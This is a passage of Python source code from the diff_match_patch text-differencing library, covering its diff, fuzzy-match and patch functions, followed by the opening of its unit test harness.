			if op != self.DIFF_DELETE:  # Equality or insertion.
				chars2 += len(text)
			if chars1 > loc:  # Overshot the location.
				break
			last_chars1 = chars1
			last_chars2 = chars2

		if len(diffs) != x and diffs[x][0] == self.DIFF_DELETE:
			# The location was deleted.
			return last_chars2
		# Add the remaining len(character).
		return last_chars2 + (loc - last_chars1)

	def diff_prettyHtml(self, diffs):
		"""Convert a diff array into a pretty HTML report.

		Args:
			diffs: Array of diff tuples.

		Returns:
			HTML representation.
		"""
		html = []
		for (op, data) in diffs:
			text = (data.replace("&", "&amp;").replace("<", "&lt;")
								 .replace(">", "&gt;").replace("\n", "&para;<br>"))
			if op == self.DIFF_INSERT:
				html.append("<ins style=\"background:#e6ffe6;\">%s</ins>" % text)
			elif op == self.DIFF_DELETE:
				html.append("<del style=\"background:#ffe6e6;\">%s</del>" % text)
			elif op == self.DIFF_EQUAL:
				html.append("<span>%s</span>" % text)
		return "".join(html)

	def diff_text1(self, diffs):
		"""Compute and return the source text (all equalities and deletions).

		Args:
			diffs: Array of diff tuples.

		Returns:
			Source text.
		"""
		text = []
		for (op, data) in diffs:
			if op != self.DIFF_INSERT:
				text.append(data)
		return "".join(text)

	def diff_text2(self, diffs):
		"""Compute and return the destination text (all equalities and insertions).

		Args:
			diffs: Array of diff tuples.

		Returns:
			Destination text.
		"""
		text = []
		for (op, data) in diffs:
			if op != self.DIFF_DELETE:
				text.append(data)
		return "".join(text)

	def diff_levenshtein(self, diffs):
		"""Compute the Levenshtein distance; the number of inserted, deleted or
		substituted characters.

		Args:
			diffs: Array of diff tuples.

		Returns:
			Number of changes.
		"""
		levenshtein = 0
		insertions = 0
		deletions = 0
		for (op, data) in diffs:
			if op == self.DIFF_INSERT:
				insertions += len(data)
			elif op == self.DIFF_DELETE:
				deletions += len(data)
			elif op == self.DIFF_EQUAL:
				# A deletion and an insertion is one substitution.
				levenshtein += max(insertions, deletions)
				insertions = 0
				deletions = 0
		levenshtein += max(insertions, deletions)
		return levenshtein

	def diff_toDelta(self, diffs):
		"""Crush the diff into an encoded string which describes the operations
		required to transform text1 into text2.
		E.g. =3\t-2\t+ing  -> Keep 3 chars, delete 2 chars, insert 'ing'.
		Operations are tab-separated.  Inserted text is escaped using %xx notation.

		Args:
			diffs: Array of diff tuples.

		Returns:
			Delta text.
		"""
		text = []
		for (op, data) in diffs:
			if op == self.DIFF_INSERT:
				# High ascii will raise UnicodeDecodeError.  Use Unicode instead.
				data = data.encode("utf-8")
				text.append("+" + urllib.parse.quote(data, "!~*'();/?:@&=+$,# "))
			elif op == self.DIFF_DELETE:
				text.append("-%d" % len(data))
			elif op == self.DIFF_EQUAL:
				text.append("=%d" % len(data))
		return "\t".join(text)

	def diff_fromDelta(self, text1, delta):
		"""Given the original text1, and an encoded string which describes the
		operations required to transform text1 into text2, compute the full diff.

		Args:
			text1: Source string for the diff.
			delta: Delta text.

		Returns:
			Array of diff tuples.

		Raises:
			ValueError: If invalid input.
		"""
		diffs = []
		pointer = 0  # Cursor in text1
		tokens = delta.split("\t")
		for token in tokens:
			if token == "":
				# Blank tokens are ok (from a trailing \t).
				continue
			# Each token begins with a one character parameter which specifies the
			# operation of this token (delete, insert, equality).
			param = token[1:]
			if token[0] == "+":
				param = urllib.parse.unquote(param)
				diffs.append((self.DIFF_INSERT, param))
			elif token[0] == "-" or token[0] == "=":
				try:
					n = int(param)
				except ValueError:
					raise ValueError("Invalid number in diff_fromDelta: " + param)
				if n < 0:
					raise ValueError("Negative number in diff_fromDelta: " + param)
				text = text1[pointer : pointer + n]
				pointer += n
				if token[0] == "=":
					diffs.append((self.DIFF_EQUAL, text))
				else:
					diffs.append((self.DIFF_DELETE, text))
			else:
				# Anything else is an error.
				raise ValueError("Invalid diff operation in diff_fromDelta: " +
						token[0])
		if pointer != len(text1):
			raise ValueError(
					"Delta length (%d) does not equal source text length (%d)." %
				 (pointer, len(text1)))
		return diffs

	#  MATCH FUNCTIONS

	def match_main(self, text, pattern, loc):
		"""Locate the best instance of 'pattern' in 'text' near 'loc'.

		Args:
			text: The text to search.
			pattern: The pattern to search for.
			loc: The location to search around.

		Returns:
			Best match index or -1.
		"""
		# Check for null inputs.
		if text == None or pattern == None:
			raise ValueError("Null inputs. (match_main)")

		loc = max(0, min(loc, len(text)))
		if text == pattern:
			# Shortcut (potentially not guaranteed by the algorithm)
			return 0
		elif not text:
			# Nothing to match.
			return -1
		elif text[loc:loc + len(pattern)] == pattern:
			# Perfect match at the perfect spot!  (Includes case of null pattern)
			return loc
		else:
			# Do a fuzzy compare.
			match = self.match_bitap(text, pattern, loc)
			return match

	def match_bitap(self, text, pattern, loc):
		"""Locate the best instance of 'pattern' in 'text' near 'loc' using the
		Bitap algorithm.

		Args:
			text: The text to search.
			pattern: The pattern to search for.
			loc: The location to search around.

		Returns:
			Best match index or -1.
		"""
		# Python doesn't have a maxint limit, so ignore this check.
		#if self.Match_MaxBits != 0 and len(pattern) > self.Match_MaxBits:
		#  raise ValueError("Pattern too long for this application.")

		# Initialise the alphabet.
		s = self.match_alphabet(pattern)

		def match_bitapScore(e, x):
			"""Compute and return the score for a match with e errors and x location.
			Accesses loc and pattern through being a closure.

			Args:
				e: Number of errors in match.
				x: Location of match.

			Returns:
				Overall score for match (0.0 = good, 1.0 = bad).
			"""
			accuracy = float(e) / len(pattern)
			proximity = abs(loc - x)
			if not self.Match_Distance:
				# Dodge divide by zero error.
				return proximity and 1.0 or accuracy
			return accuracy + (proximity / float(self.Match_Distance))

		# Highest score beyond which we give up.
		score_threshold = self.Match_Threshold
		# Is there a nearby exact match? (speedup)
		best_loc = text.find(pattern, loc)
		if best_loc != -1:
			score_threshold = min(match_bitapScore(0, best_loc), score_threshold)
			# What about in the other direction? (speedup)
			best_loc = text.rfind(pattern, loc + len(pattern))
			if best_loc != -1:
				score_threshold = min(match_bitapScore(0, best_loc), score_threshold)

		# Initialise the bit arrays.
		matchmask = 1 << (len(pattern) - 1)
		best_loc = -1

		bin_max = len(pattern) + len(text)
		# Empty initialization added to appease pychecker.
		last_rd = None
		for d in range(len(pattern)):
			# Scan for the best match each iteration allows for one more error.
			# Run a binary search to determine how far from 'loc' we can stray at
			# this error level.
			bin_min = 0
			bin_mid = bin_max
			while bin_min < bin_mid:
				if match_bitapScore(d, loc + bin_mid) <= score_threshold:
					bin_min = bin_mid
				else:
					bin_max = bin_mid
				bin_mid = (bin_max - bin_min) // 2 + bin_min

			# Use the result from this iteration as the maximum for the next.
			bin_max = bin_mid
			start = max(1, loc - bin_mid + 1)
			finish = min(loc + bin_mid, len(text)) + len(pattern)

			rd = [0] * (finish + 2)
			rd[finish + 1] = (1 << d) - 1
			for j in range(finish, start - 1, -1):
				if len(text) <= j - 1:
					# Out of range.
					charMatch = 0
				else:
					charMatch = s.get(text[j - 1], 0)
				if d == 0:  # First pass: exact match.
					rd[j] = ((rd[j + 1] << 1) | 1) & charMatch
				else:  # Subsequent passes: fuzzy match.
					rd[j] = (((rd[j + 1] << 1) | 1) & charMatch) | (
							((last_rd[j + 1] | last_rd[j]) << 1) | 1) | last_rd[j + 1]
				if rd[j] & matchmask:
					score = match_bitapScore(d, j - 1)
					# This match will almost certainly be better than any existing match.
					# But check anyway.
					if score <= score_threshold:
						# Told you so.
						score_threshold = score
						best_loc = j - 1
						if best_loc > loc:
							# When passing loc, don't exceed our current distance from loc.
							start = max(1, 2 * loc - best_loc)
						else:
							# Already passed loc, downhill from here on in.
							break
			# No hope for a (better) match at greater error levels.
			if match_bitapScore(d + 1, loc) > score_threshold:
				break
			last_rd = rd
		return best_loc

	def match_alphabet(self, pattern):
		"""Initialise the alphabet for the Bitap algorithm.

		Args:
			pattern: The text to encode.

		Returns:
			Hash of character locations.
		"""
		s = {}
		for char in pattern:
			s[char] = 0
		for i in range(len(pattern)):
			s[pattern[i]] |= 1 << (len(pattern) - i - 1)
		return s

	#  PATCH FUNCTIONS

	def patch_addContext(self, patch, text):
		"""Increase the context until it is unique,
		but don't let the pattern expand beyond Match_MaxBits.

		Args:
			patch: The patch to grow.
			text: Source text.
		"""
		if len(text) == 0:
			return
		pattern = text[patch.start2 : patch.start2 + patch.length1]
		padding = 0

		# Look for the first and last matches of pattern in text.  If two different
		# matches are found, increase the pattern length.
		while (text.find(pattern) != text.rfind(pattern) and (self.Match_MaxBits ==
				0 or len(pattern) < self.Match_MaxBits - self.Patch_Margin -
				self.Patch_Margin)):
			padding += self.Patch_Margin
			pattern = text[max(0, patch.start2 - padding) :
										 patch.start2 + patch.length1 + padding]
		# Add one chunk for good luck.
		padding += self.Patch_Margin

		# Add the prefix.
		prefix = text[max(0, patch.start2 - padding) : patch.start2]
		if prefix:
			patch.diffs[:0] = [(self.DIFF_EQUAL, prefix)]
		# Add the suffix.
		suffix = text[patch.start2 + patch.length1 :
									patch.start2 + patch.length1 + padding]
		if suffix:
			patch.diffs.append((self.DIFF_EQUAL, suffix))

		# Roll back the start points.
		patch.start1 -= len(prefix)
		patch.start2 -= len(prefix)
		# Extend lengths.
		patch.length1 += len(prefix) + len(suffix)
		patch.length2 += len(prefix) + len(suffix)

	def patch_make(self, a, b=None, c=None):
		"""Compute a list of patches to turn text1 into text2.
		Use diffs if provided, otherwise compute it ourselves.
		There are four ways to call this function, depending on what data is
		available to the caller:
		Method 1:
		a = text1, b = text2
		Method 2:
		a = diffs
		Method 3 (optimal):
		a = text1, b = diffs
		Method 4 (deprecated, use method 3):
		a = text1, b = text2, c = diffs

		Args:
			a: text1 (methods 1,3,4) or Array of diff tuples for text1 to
					text2 (method 2).
			b: text2 (methods 1,4) or Array of diff tuples for text1 to
					text2 (method 3) or undefined (method 2).
			c: Array of diff tuples for text1 to text2 (method 4) or
					undefined (methods 1,2,3).

		Returns:
			Array of Patch objects.
		"""
		text1 = None
		diffs = None
		if isinstance(a, str) and isinstance(b, str) and c is None:
			# Method 1: text1, text2
			# Compute diffs from text1 and text2.
			text1 = a
			diffs = self.diff_main(text1, b, True)
			if len(diffs) > 2:
				self.diff_cleanupSemantic(diffs)
				self.diff_cleanupEfficiency(diffs)
		elif isinstance(a, list) and b is None and c is None:
			# Method 2: diffs
			# Compute text1 from diffs.
			diffs = a
			text1 = self.diff_text1(diffs)
		elif isinstance(a, str) and isinstance(b, list) and c is None:
			# Method 3: text1, diffs
			text1 = a
			diffs = b
		elif (isinstance(a, str) and isinstance(b, str) and
					isinstance(c, list)):
			# Method 4: text1, text2, diffs
			# text2 is not used.
			text1 = a
			diffs = c
		else:
			raise ValueError("Unknown call format to patch_make.")

		if not diffs:
			return []  # Get rid of the None case.
		patches = []
		patch = patch_obj()
		char_count1 = 0  # Number of characters into the text1 string.
		char_count2 = 0  # Number of characters into the text2 string.
		prepatch_text = text1  # Recreate the patches to determine context info.
		postpatch_text = text1
		for x in range(len(diffs)):
			(diff_type, diff_text) = diffs[x]
			if len(patch.diffs) == 0 and diff_type != self.DIFF_EQUAL:
				# A new patch starts here.
				patch.start1 = char_count1
				patch.start2 = char_count2
			if diff_type == self.DIFF_INSERT:
				# Insertion
				patch.diffs.append(diffs[x])
				patch.length2 += len(diff_text)
				postpatch_text = (postpatch_text[:char_count2] + diff_text +
													postpatch_text[char_count2:])
			elif diff_type == self.DIFF_DELETE:
				# Deletion.
				patch.length1 += len(diff_text)
				patch.diffs.append(diffs[x])
				postpatch_text = (postpatch_text[:char_count2] +
													postpatch_text[char_count2 + len(diff_text):])
			elif (diff_type == self.DIFF_EQUAL and
						len(diff_text) <= 2 * self.Patch_Margin and
						len(patch.diffs) != 0 and len(diffs) != x + 1):
				# Small equality inside a patch.
				patch.diffs.append(diffs[x])
				patch.length1 += len(diff_text)
				patch.length2 += len(diff_text)

			if (diff_type == self.DIFF_EQUAL and
					len(diff_text) >= 2 * self.Patch_Margin):
				# Time for a new patch.
				if len(patch.diffs) != 0:
					self.patch_addContext(patch, prepatch_text)
					patches.append(patch)
					patch = patch_obj()
					# Unlike Unidiff, our patch lists have a rolling context.
					# http://code.google.com/p/google-diff-match-patch/wiki/Unidiff
					# Update prepatch text & pos to reflect the application of the
					# just completed patch.
					prepatch_text = postpatch_text
					char_count1 = char_count2

			# Update the current character count.
			if diff_type != self.DIFF_INSERT:
				char_count1 += len(diff_text)
			if diff_type != self.DIFF_DELETE:
				char_count2 += len(diff_text)

		# Pick up the leftover patch if not empty.
		if len(patch.diffs) != 0:
			self.patch_addContext(patch, prepatch_text)
			patches.append(patch)
		return patches

	def patch_deepCopy(self, patches):
		"""Given an array of patches, return another array that is identical.

		Args:
			patches: Array of Patch objects.

		Returns:
			Array of Patch objects.
		"""
		patchesCopy = []
		for patch in patches:
			patchCopy = patch_obj()
			# No need to deep copy the tuples since they are immutable.
			patchCopy.diffs = patch.diffs[:]
			patchCopy.start1 = patch.start1
			patchCopy.start2 = patch.start2
			patchCopy.length1 = patch.length1
			patchCopy.length2 = patch.length2
			patchesCopy.append(patchCopy)
		return patchesCopy

	def patch_apply(self, patches, text):
		"""Merge a set of patches onto the text.  Return a patched text, as well
		as a list of true/false values indicating which patches were applied.

		Args:
			patches: Array of Patch objects.
			text: Old text.

		Returns:
			Two element Array, containing the new text and an array of boolean values.
		"""
		if not patches:
			return (text, [])

		# Deep copy the patches so that no changes are made to originals.
		patches = self.patch_deepCopy(patches)

		nullPadding = self.patch_addPadding(patches)
		text = nullPadding + text + nullPadding
		self.patch_splitMax(patches)

		# delta keeps track of the offset between the expected and actual location
		# of the previous patch.  If there are patches expected at positions 10 and
		# 20, but the first patch was found at 12, delta is 2 and the second patch
		# has an effective expected position of 22.
		delta = 0
		results = []
		for patch in patches:
			expected_loc = patch.start2 + delta
			text1 = self.diff_text1(patch.diffs)
			end_loc = -1
			if len(text1) > self.Match_MaxBits:
				# patch_splitMax will only provide an oversized pattern in the case of
				# a monster delete.
				start_loc = self.match_main(text, text1[:self.Match_MaxBits],
																		expected_loc)
				if start_loc != -1:
					end_loc = self.match_main(text, text1[-self.Match_MaxBits:],
							expected_loc + len(text1) - self.Match_MaxBits)
					if end_loc == -1 or start_loc >= end_loc:
						# Can't find valid trailing context.  Drop this patch.
						start_loc = -1
			else:
				start_loc = self.match_main(text, text1, expected_loc)
			if start_loc == -1:
				# No match found.  :(
				results.append(False)
				# Subtract the delta for this failed patch from subsequent patches.
				delta -= patch.length2 - patch.length1
			else:
				# Found a match.  :)
				results.append(True)
				delta = start_loc - expected_loc
				if end_loc == -1:
					text2 = text[start_loc : start_loc + len(text1)]
				else:
					text2 = text[start_loc : end_loc + self.Match_MaxBits]
				if text1 == text2:
					# Perfect match, just shove the replacement text in.
					text = (text[:start_loc] + self.diff_text2(patch.diffs) +
											text[start_loc + len(text1):])
				else:
					# Imperfect match.
					# Run a diff to get a framework of equivalent indices.
					diffs = self.diff_main(text1, text2, False)
					if (len(text1) > self.Match_MaxBits and
							self.diff_levenshtein(diffs) / float(len(text1)) >
							self.Patch_DeleteThreshold):
						# The end points match, but the content is unacceptably bad.
						results[-1] = False
					else:
						self.diff_cleanupSemanticLossless(diffs)
						index1 = 0
						for (op, data) in patch.diffs:
							if op != self.DIFF_EQUAL:
								index2 = self.diff_xIndex(diffs, index1)
							if op == self.DIFF_INSERT:  # Insertion
								text = text[:start_loc + index2] + data + text[start_loc +
																															 index2:]
							elif op == self.DIFF_DELETE:  # Deletion
								text = text[:start_loc + index2] + text[start_loc +
										self.diff_xIndex(diffs, index1 + len(data)):]
							if op != self.DIFF_DELETE:
								index1 += len(data)
		# Strip the padding off.
		text = text[len(nullPadding):-len(nullPadding)]
		return (text, results)

	def patch_addPadding(self, patches):
		"""Add some padding on text start and end so that edges can match
		something.  Intended to be called only from within patch_apply.

		Args:
			patches: Array of Patch objects.

		Returns:
			The padding string added to each side.
		"""
		paddingLength = self.Patch_Margin
		nullPadding = ""
		for x in range(1, paddingLength + 1):
			nullPadding += chr(x)

		# Bump all the patches forward.
		for patch in patches:
			patch.start1 += paddingLength
			patch.start2 += paddingLength

		# Add some padding on start of first diff.
		patch = patches[0]
		diffs = patch.diffs
		if not diffs or diffs[0][0] != self.DIFF_EQUAL:
			# Add nullPadding equality.
			diffs.insert(0, (self.DIFF_EQUAL, nullPadding))
			patch.start1 -= paddingLength  # Should be 0.
			patch.start2 -= paddingLength  # Should be 0.
			patch.length1 += paddingLength
			patch.length2 += paddingLength
		elif paddingLength > len(diffs[0][1]):
			# Grow first equality.
			extraLength = paddingLength - len(diffs[0][1])
			newText = nullPadding[len(diffs[0][1]):] + diffs[0][1]
			diffs[0] = (diffs[0][0], newText)
			patch.start1 -= extraLength
			patch.start2 -= extraLength
			patch.length1 += extraLength
			patch.length2 += extraLength

		# Add some padding on end of last diff.
		patch = patches[-1]
		diffs = patch.diffs
		if not diffs or diffs[-1][0] != self.DIFF_EQUAL:
			# Add nullPadding equality.
			diffs.append((self.DIFF_EQUAL, nullPadding))
			patch.length1 += paddingLength
			patch.length2 += paddingLength
		elif paddingLength > len(diffs[-1][1]):
			# Grow last equality.
			extraLength = paddingLength - len(diffs[-1][1])
			newText = diffs[-1][1] + nullPadding[:extraLength]
			diffs[-1] = (diffs[-1][0], newText)
			patch.length1 += extraLength
			patch.length2 += extraLength

		return nullPadding

	def patch_splitMax(self, patches):
		"""Look through the patches and break up any which are longer than the
		maximum limit of the match algorithm.
		Intended to be called only from within patch_apply.

		Args:
			patches: Array of Patch objects.
		"""
		patch_size = self.Match_MaxBits
		if patch_size == 0:
			# Python has the option of not splitting strings due to its ability
			# to handle integers of arbitrary precision.
			return
		for x in range(len(patches)):
			if patches[x].length1 <= patch_size:
				continue
			bigpatch = patches[x]
			# Remove the big old patch.
			del patches[x]
			x -= 1
			start1 = bigpatch.start1
			start2 = bigpatch.start2
			precontext = ''
			while len(bigpatch.diffs) != 0:
				# Create one of several smaller patches.
				patch = patch_obj()
				empty = True
				patch.start1 = start1 - len(precontext)
				patch.start2 = start2 - len(precontext)
				if precontext:
					patch.length1 = patch.length2 = len(precontext)
					patch.diffs.append((self.DIFF_EQUAL, precontext))

				while (len(bigpatch.diffs) != 0 and
							 patch.length1 < patch_size - self.Patch_Margin):
					(diff_type, diff_text) = bigpatch.diffs[0]
					if diff_type == self.DIFF_INSERT:
						# Insertions are harmless.
						patch.length2 += len(diff_text)
						start2 += len(diff_text)
						patch.diffs.append(bigpatch.diffs.pop(0))
						empty = False
					elif (diff_type == self.DIFF_DELETE and len(patch.diffs) == 1 and
							patch.diffs[0][0] == self.DIFF_EQUAL and
							len(diff_text) > 2 * patch_size):
						# This is a large deletion.  Let it pass in one chunk.
						patch.length1 += len(diff_text)
						start1 += len(diff_text)
						empty = False
						patch.diffs.append((diff_type, diff_text))
						del bigpatch.diffs[0]
					else:
						# Deletion or equality.  Only take as much as we can stomach.
						diff_text = diff_text[:patch_size - patch.length1 -
																	self.Patch_Margin]
						patch.length1 += len(diff_text)
						start1 += len(diff_text)
						if diff_type == self.DIFF_EQUAL:
							patch.length2 += len(diff_text)
							start2 += len(diff_text)
						else:
							empty = False

						patch.diffs.append((diff_type, diff_text))
						if diff_text == bigpatch.diffs[0][1]:
							del bigpatch.diffs[0]
						else:
							bigpatch.diffs[0] = (bigpatch.diffs[0][0],
																	 bigpatch.diffs[0][1][len(diff_text):])

				# Compute the head context for the next patch.
				precontext = self.diff_text2(patch.diffs)
				precontext = precontext[-self.Patch_Margin:]
				# Append the end context for this patch.
				postcontext = self.diff_text1(bigpatch.diffs)[:self.Patch_Margin]
				if postcontext:
					patch.length1 += len(postcontext)
					patch.length2 += len(postcontext)
					if len(patch.diffs) != 0 and patch.diffs[-1][0] == self.DIFF_EQUAL:
						patch.diffs[-1] = (self.DIFF_EQUAL, patch.diffs[-1][1] +
															 postcontext)
					else:
						patch.diffs.append((self.DIFF_EQUAL, postcontext))

				if not empty:
					x += 1
					patches.insert(x, patch)

	def patch_toText(self, patches):
		"""Take a list of patches and return a textual representation.

		Args:
			patches: Array of Patch objects.

		Returns:
			Text representation of patches.
		"""
		text = []
		for patch in patches:
			text.append(str(patch))
		return "".join(text)

	def patch_fromText(self, textline):
		"""Parse a textual representation of patches and return a list of patch
		objects.

		Args:
			textline: Text representation of patches.

		Returns:
			Array of Patch objects.

		Raises:
			ValueError: If invalid input.
		"""
		patches = []
		if not textline:
			return patches
		text = textline.split('\n')
		while len(text) != 0:
			m = re.match("^@@ -(\d+),?(\d*) \+(\d+),?(\d*) @@$", text[0])
			if not m:
				raise ValueError("Invalid patch string: " + text[0])
			patch = patch_obj()
			patches.append(patch)
			patch.start1 = int(m.group(1))
			if m.group(2) == '':
				patch.start1 -= 1
				patch.length1 = 1
			elif m.group(2) == '0':
				patch.length1 = 0
			else:
				patch.start1 -= 1
				patch.length1 = int(m.group(2))

			patch.start2 = int(m.group(3))
			if m.group(4) == '':
				patch.start2 -= 1
				patch.length2 = 1
			elif m.group(4) == '0':
				patch.length2 = 0
			else:
				patch.start2 -= 1
				patch.length2 = int(m.group(4))

			del text[0]

			while len(text) != 0:
				if text[0]:
					sign = text[0][0]
				else:
					sign = ''
				line = urllib.parse.unquote(text[0][1:])
				if sign == '+':
					# Insertion.
					patch.diffs.append((self.DIFF_INSERT, line))
				elif sign == '-':
					# Deletion.
					patch.diffs.append((self.DIFF_DELETE, line))
				elif sign == ' ':
					# Minor equality.
					patch.diffs.append((self.DIFF_EQUAL, line))
				elif sign == '@':
					# Start of next patch.
					break
				elif sign == '':
					# Blank line?  Whatever.
					pass
				else:
					# WTF?
					raise ValueError("Invalid patch mode: '%s'\n%s" % (sign, line))
				del text[0]
		return patches


class patch_obj:
	"""Class representing one patch operation.
	"""

	def __init__(self):
		"""Initializes with an empty list of diffs.
		"""
		self.diffs = []
		self.start1 = None
		self.start2 = None
		self.length1 = 0
		self.length2 = 0

	def __str__(self):
		"""Emmulate GNU diff's format.
		Header: @@ -382,8 +481,9 @@
		Indicies are printed as 1-based, not 0-based.

		Returns:
			The GNU diff string.
		"""
		if self.length1 == 0:
			coords1 = str(self.start1) + ",0"
		elif self.length1 == 1:
			coords1 = str(self.start1 + 1)
		else:
			coords1 = str(self.start1 + 1) + "," + str(self.length1)
		if self.length2 == 0:
			coords2 = str(self.start2) + ",0"
		elif self.length2 == 1:
			coords2 = str(self.start2 + 1)
		else:
			coords2 = str(self.start2 + 1) + "," + str(self.length2)
		text = ["@@ -", coords1, " +", coords2, " @@\n"]
		# Escape the body of the patch with %xx notation.
		for (op, data) in self.diffs:
			if op == diff_match_patch.DIFF_INSERT:
				text.append("+")
			elif op == diff_match_patch.DIFF_DELETE:
				text.append("-")
			elif op == diff_match_patch.DIFF_EQUAL:
				text.append(" ")
			# High ascii will raise UnicodeDecodeError.  Use Unicode instead.
			data = data.encode("utf-8")
			text.append(urllib.parse.quote(data, "!~*'();/?:@&=+$,# ") + "\n")
		return "".join(text)






from .diff_match_patch import diff_match_patch, patch_obj







#!/usr/bin/python3

"""Test harness for diff_match_patch.py

Copyright 2006 Google Inc.
http://code.google.com/p/google-diff-match-patch/

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

	http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""

import imp
import sys
import time
import unittest
import diff_match_patch as dmp_module
# Force a module reload.  Allows one to edit the DMP module and rerun the tests
# without leaving the Python interpreter.
imp.reload(dmp_module)

class DiffMatchPatchTest(unittest.TestCase):

	def setUp(self):
		"Test harness for dmp_module."
		self.dmp = dmp_module.diff_match_patch()

	def diff_rebuildtexts(self, diffs):
		# Construct the two texts which made up the diff originally.
		text1 = ""
		text2 = ""
		for x in range(0, len(diffs)):
			if diffs[x][0] != dmp_module.diff_match_patch.DIFF_INSERT:
				text1 += diffs[x][1]
			if diffs[x][0] != dmp_module.diff_match_patch.DIFF_DELETE:
				text2 += diffs[x][1]
		return (text1, text2)


class DiffTest(DiffMatchPatchTest):
	"""DIFF TEST FUNCTIONS"""

	def testDiffCommonPrefix(self):
		# Detect any common prefix.
		# Null case.
		self.assertEqual(0, self.dmp.diff_commonPrefix("abc", "xyz"))

		# Non-null case.
		self.assertEqual(4, self.dmp.diff_commonPrefix("1234abcdef", "1234xyz"))

		# Whole case.
		self.assertEqual(4, self.dmp.diff_commonPrefix("1234", "1234xyz"))

	def testDiffCommonSuffix(self):
		# Detect any common suffix.
		# Null case.
		self.assertEqual(0, self.dmp.diff_commonSuffix("abc", "xyz"))

		# Non-null case.
		self.assertEqual(4, self.dmp.diff_commonSuffix("abcdef1234", "xyz1234"))

		# Whole case.
		self.assertEqual(4, self.dmp.diff_commonSuffix("1234", "xyz1234"))

	def testDiffCommonOverlap(self):
		# Null case.
		self.assertEqual(0, self.dmp.diff_commonOverlap("", "abcd"))

		# Whole case.
		self.assertEqual(3, self.dmp.diff_commonOverlap("abc", "abcd"))

		# No overlap.
		self.assertEqual(0, self.dmp.diff_commonOverlap("123456", "abcd"))

		# Overlap.
		self.assertEqual(3, self.dmp.diff_commonOverlap("123456xxx", "xxxabcd"))

		# Unicode.
		# Some overly clever languages (C#) may treat ligatures as equal to their
		# component letters.  E.g. U+FB01 == 'fi'
		self.assertEqual(0, self.dmp.diff_commonOverlap("fi", "\ufb01i"))

	def testDiffHalfMatch(self):
		# Detect a halfmatch.
		self.dmp.Diff_Timeout = 1
		# No match.
		self.assertEqual(None, self.dmp.diff_halfMatch("1234567890", "abcdef"))

		self.assertEqual(None, self.dmp.diff_halfMatch("12345", "23"))

		# Single Match.
		self.assertEqual(("12", "90", "a", "z", "345678"), self.dmp.diff_halfMatch("1234567890", "a345678z"))

		self.assertEqual(("a", "z", "12", "90", "345678"), self.dmp.diff_halfMatch("a345678z", "1234567890"))

		self.assertEqual(("abc", "z", "1234", "0", "56789"), self.dmp.diff_halfMatch("abc56789z", "1234567890"))

		self.assertEqual(("a", "xyz", "1", "7890", "23456"), self.dmp.diff_halfMatch("a23456xyz", "1234567890"))

		# Multiple Matches.
		self.assertEqual(("12123", "123121", "a", "z", "1234123451234"), self.dmp.diff_halfMatch("121231234123451234123121", "a1234123451234z"))

		self.assertEqual(("", "-=-=-=-=-=", "x", "", "x-=-=-=-=-=-=-="), self.dmp.diff_halfMatch("x-=-=-=-=-=-=-=-=-=-=-=-=", "xx-=-=-=-=-=-=-="))

		self.assertEqual(("-=-=-=-=-=", "", "", "y", "-=-=-=-=-=-=-=y"), self.dmp.diff_halfMatch("-=-=-=-=-=-=-=-=-=-=-=-=y", "-=-=-=-=-=-=-=yy"))

		# Non-optimal halfmatch.
		# Optimal diff would be -q+x=H-i+e=lloHe+Hu=llo-Hew+y not -qHillo+x=HelloHe-w+Hulloy
		self.assertEqual(("qHillo", "w", "x", "Hulloy", "HelloHe"), self.dmp.diff_halfMatch("qHilloHelloHew", "xHelloHeHulloy"))

		# Optimal no halfmatch.
		self.dmp.Diff_Timeout = 0
		self.assertEqual(None, self.dmp.diff_halfMatch("qHilloHelloHew", "xHelloHeHulloy"))

	def testDiffLinesToChars(self):
		# Convert lines down to characters.
		self.assertEqual(("\x01\x02\x01", "\x02\x01\x02", ["", "alpha\n", "beta\n"]), self.dmp.diff_linesToChars("alpha\nbeta\nalpha\n", "beta\nalpha\nbeta\n"))

		self.assertEqual(("", "\x01\x02\x03\x03", ["", "alpha\r\n", "beta\r\n", "\r\n"]), self.dmp.diff_linesToChars("", "alpha\r\nbeta\r\n\r\n\r\n"))

		self.assertEqual(("\x01", "\x02", ["", "a", "b"]), self.dmp.diff_linesToChars("a", "b"))

		# More than 256 to reveal any 8-bit limitations.
		n = 300
		lineList = []
		charList = []
		for x in range(1, n + 1):
			lineList.append(str(x) + "\n")
			charList.append(chr(x))
		self.assertEqual(n, len(lineList))
		lines = "".join(lineList)
		chars = "".join(charList)
		self.assertEqual(n, len(chars))
		lineList.insert(0, "")
		self.assertEqual((chars, "", lineList), self.dmp.diff_linesToChars(lines, ""))

	def testDiffCharsToLines(self):
		# Convert chars up to lines.
		diffs = [(self.dmp.DIFF_EQUAL, "\x01\x02\x01"), (self.dmp.DIFF_INSERT, "\x02\x01\x02")]
		self.dmp.diff_charsToLines(diffs, ["", "alpha\n", "beta\n"])
		self.assertEqual([(self.dmp.DIFF_EQUAL, "alpha\nbeta\nalpha\n"), (self.dmp.DIFF_INSERT, "beta\nalpha\nbeta\n")], diffs)

		# More than 256 to reveal any 8-bit limitations.
		n = 300
		lineList = []
		charList = []
		for x in range(1, n + 1):
			lineList.append(str(x) + "\n")
			charList.append(chr(x))
		self.assertEqual(n, len(lineList))
		lines = "".join(lineList)
		chars = "".join(charList)
		self.assertEqual(n, len(chars))
		lineList.insert(0, "")
		diffs = [(self.dmp.DIFF_DELETE, chars)]
		self.dmp.diff_charsToLines(diffs, lineList)
		self.assertEqual([(self.dmp.DIFF_DELETE, lines)], diffs)

	def testDiffCleanupMerge(self):
		# Cleanup a messy diff.
		# Null case.
		diffs = []
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([], diffs)

		# No change case.
		diffs = [(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "b"), (self.dmp.DIFF_INSERT, "c")]
		self.dmp.diff_cleanupMerge(diffs)
		self.assertEqual([(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_DELETE, "b"), (self.dmp.DIFF_INSERT, "c")], diffs)

		# Merge equalities.
		diffs = [(self.dmp.DIFF_EQUAL, "a"), (self.dmp.DIFF_EQUAL, "b"), (self.dmp.DIFF_EQUAL, "c")]
		self.dmp.diff_cleanupMerge(diffs)
